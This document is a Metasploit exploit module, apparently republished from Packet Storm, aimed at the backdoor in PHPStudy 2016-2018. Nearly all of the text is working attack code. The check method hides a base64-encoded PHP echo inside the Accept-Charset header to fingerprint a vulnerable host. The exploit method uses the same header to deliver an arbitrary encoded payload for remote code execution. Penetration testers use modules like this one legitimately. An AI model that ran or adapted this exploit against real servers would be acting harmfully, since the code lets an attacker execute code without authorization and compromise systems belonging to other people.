PHPStudy Backdoor Remote Code Execution ≈ Packet Storm


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
‘Name’ => « PHPStudy Backdoor Remote Code execution »,
‘Description’ => %q{
This module can detect and exploit the backdoor of PHPStudy.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Dimensional’, #POC
‘Airevan’ #Metasploit Module
],
‘Platform’ => [‘php’],
‘Arch’ => ARCH_PHP,
‘Targets’ =>
[
[‘PHPStudy 2016-2018’, {}]
],
‘References’ =>
[
[‘URL’, ‘https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html’]
],
‘Privileged’ => false,
‘DisclosureDate’ => « Sep 20 2019 »,
‘DefaultTarget’ => 0
))

register_options(
[
OptString.new(‘TARGETURI’, [true, ‘The base path’, ‘/’])
])
end
def check
uri = target_uri.path
fingerprint = Rex::Text.rand_text_alpha(8)
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(uri, ‘index.php’),
‘headers’ => {
‘Accept-Encoding’ => ‘gzip,deflate’,
‘Accept-Charset’ => Rex::Text.encode_base64(« echo ‘#{fingerprint}’; »)
}
})

if res && res.code == 200 && res.body.to_s.include?(fingerprint)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
uri = target_uri.path
print_good(« Sending shellcode »)
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(uri, ‘index.php’),
‘headers’ => {
‘Accept-Encoding’ => ‘gzip,deflate’,
‘Accept-Charset’ => Rex::Text.encode_base64(payload.encoded)
}
})
end
end



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